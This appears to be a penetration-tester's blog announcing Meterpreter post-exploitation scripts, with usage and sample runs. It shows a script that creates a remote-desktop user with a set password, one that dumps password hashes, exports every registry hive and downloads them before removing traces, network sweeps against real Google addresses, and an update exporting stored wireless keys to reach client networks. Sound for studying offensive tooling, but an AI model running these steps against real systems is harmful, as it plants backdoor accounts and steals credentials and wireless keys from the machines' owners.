Meterpreter Script for Basic Network Enumeration in Target's Netwrok

Here is a script for basic network enumeration using windows natives tools in the target machine, the script is multi threaded for performance, it will perform the following:

* Ping Sweep
* DNS Reverse lookup on IP range
* Fordward Lookup bruteforce using a List of hostnames
* Get NS and MX records for a given domain.

you can download the script from http://www.darkoperator.com/netenum.tar.gz
Let me know if you like it and any recommendations are welcomed.

here is some sample output:

Code:

meterpreter > run netenum
Network Enumerator Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Usage:
OPTIONS:
   -d   Domain Name for DNS Fordward Lookup
   -fl        To Perform DNS Fordward Lookup on host list and domain
   -h        Help menu.
   -hl   File with Host List for DNS Fordward Lookup
   -ps        To Perform Ping Sweeo on IP Range
   -r   The target address range or CIDR identifier
   -rl        To Perform DNS Reverse Lookup on IP Range
   -st        To Perform DNS lookup of MX, NS and SOA records for a domain
meterpreter > run netenum -fl -hl /home/carlos/hostlist.txt -d google.com
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing DNS Fordward Lookup for hosts in /home/carlos/hostlist.txt for domain google.com
[*]     Name:cg-in-f100.google.com    209.85.171.100
[*]     Name:cg-in-f102.google.com    209.85.171.102
[*]     Name:googlemail.l.google.com    209.85.133.83,209.85.133.18,209.85.133.19
[*]     Name:cg-in-f101.google.com    209.85.171.101
meterpreter > run netenum -rl -r 209.85.171.100-209.85.171.110
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing DNS Reverse Lookup for IP range 209.85.171.100-209.85.171.110
[*]      209.85.171.100 is cg-in-f100.google.com
[*]      209.85.171.101 is cg-in-f101.google.com
[*]      209.85.171.102 is cg-in-f102.google.com
[*]      209.85.171.103 is cg-in-f103.google.com
[*]      209.85.171.104 is cg-in-f104.google.com
[*]      209.85.171.108 is cg-in-f108.google.com
meterpreter > run netenum -st -d google.com
[*] Getting MX and NS Records for Domain google.com
[*]     Non-authoritative answer:
[*]   
[*]     google.com    MX preference = 10, mail exchanger = smtp4.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp1.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp2.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp3.google.com
[*]   
[*]     google.com    nameserver = ns3.google.com
[*]     google.com    nameserver = ns4.google.com
[*]     google.com    nameserver = ns1.google.com
[*]     google.com    nameserver = ns2.google.com
[*]     smtp1.google.com    internet address = 209.85.237.25
[*]     smtp2.google.com    internet address = 64.233.165.25
[*]     smtp3.google.com    internet address = 64.233.183.25
[*]     smtp4.google.com    internet address = 72.14.221.25
[*]     ns1.google.com    internet address = 216.239.32.10
[*]     ns2.google.com    internet address = 216.239.34.10
[*]     ns3.google.com    internet address = 216.239.36.10
[*]     ns4.google.com    internet address = 216.239.38.10
meterpreter > run netenum -ps -r 209.85.171.100-209.85.171.110
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing ping sweep for IP range 209.85.171.100-209.85.171.110
[*]     209.85.171.100 host found
[*]     209.85.171.101 host found
[*]     209.85.171.102 host found
[*]     209.85.171.103 host found
[*]     209.85.171.104 host found

Winenum Update

Josh Wright from Inguardians published a great paper called Vista Wireless Power Tools on the new features of Windows Vista wireless commands plus published several tools. I added the enumerations commands to Winenum plus it will now export the registry keys where the wireless configured networks of Windows XP and Windows Vista machines is stored, this files can be imported into the pentesters windows bos to gain access to the clients network or to get the wireless keys using other tools after importing.

Meterpreter Script for RDP Configuration on Target

For those time when you just need GUI
I tested the script in Windows XP, Windows 2003, Windows Vista and Windows 2008 let me know if you like it.
http://www.darkoperator.com/getgui.tar.gz
Example:

meterpreter > run getgui -u SUPPORT_3028 -p P@ssword
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  Terminasl Services service is already set to auto
[*]  Opening port in local firewall if necessary
[*] Setting user account for logon
[*]  Adding User: SUPPORT_3028 with Password: P@ssword
[*]  Adding User: SUPPORT_3028 to local group Remote Desktop Users
[*] You can now login with the created user
meterpreter >

Meterpreter Windows Local Enumeration Script

I recently wrote a small script for local enumeration of a compromised hosts using windows native command line tools from meterpreter so as to comply with many rules of egagements that many companies have of not installing software on their servers. The script will run the following commands:
Executing:

• set
  
• arp -a
• ipconfig /all
• ipconfig /displaydns
• route print
• net view
• netstat -na
• netstat -ns
• net share
• net view
• net group
• net user
• net localgroup
• net view /domain
• netsh firewall show config
• wmic computersystem list
• wmic useraccount list
• wmic group
• wmic service list brief
• wmic volume list brief
• wmic process list brief
• wmic startup list full
• wmic qfe
• Run meterpreter hashdump
• export, compress and download all registry hives

and generate a text file with all the output of the commands and compress cabfiles of the exported registry hives, specially useful the last part if done remotely across the Internet. I wrote the script so that new commands can be easily added. The script has to be placed in the scripts/meterpreter/ folder in the root of the metasploit folder so to be able to use it.
you can download it from

http://www.darkoperator.com/winenum.rb.tar.gz

sample run:

meterpreter > run winenum
[*] Running Windows Local Enumerion Meterpreter Script by Darkoperator
[*] New session on 10.10.10.7:1249...
[*] Executing: set
[*] Executing: arp -a
[*] Executing: ipconfig /all
[*] Executing: ipconfig /displaydns
[*] Executing: route print
[*] Executing: net view
[*] Executing: netstat -na
[*] Executing: netstat -ns
[*] Executing: net share
[*] Executing: net view
[*] Executing: net group
[*] Executing: net user
[*] Executing: net localgroup
[*] Executing: net view /domain
[*] Executing: netsh firewall show config
[*] Executing: wmic computersystem list
[*] Executing: wmic useraccount list
[*] Executing: wmic group
[*] Executing: wmic service list brief
[*] Executing: wmic volume list brief
[*] Executing: wmic process list brief
[*] Executing: wmic startup list full
[*] Executing: wmic qfe
[*] Downloading WDSRB.txt to -> /tmp/10.10.10.7_20081123.390899982
[*] Dumping password hashes...
[*] Exporting HKCU
[*] Compressing HKCU into cab file for faster download
[*] Exporting HKLM
[*] Compressing HKLM into cab file for faster download
[*] Exporting HKCC
[*] Compressing HKCC into cab file for faster download
[*] Exporting HKCR
[*] Compressing HKCR into cab file for faster download
[*] Exporting HKU
[*] Compressing HKU into cab file for faster download
[*] Downloading HKCU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCU
[*] Downloading HKLM.cab to -> /tmp/10.10.10.7_20081123.390899982-HKLM
[*] Downloading HKCC.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCC
[*] Downloading HKCR.cab to -> /tmp/10.10.10.7_20081123.390899982-HKCR
[*] Downloading HKU.cab to -> /tmp/10.10.10.7_20081123.390899982-HKU
[*] Removing anything we left behind...
[*] Done!
meterpreter >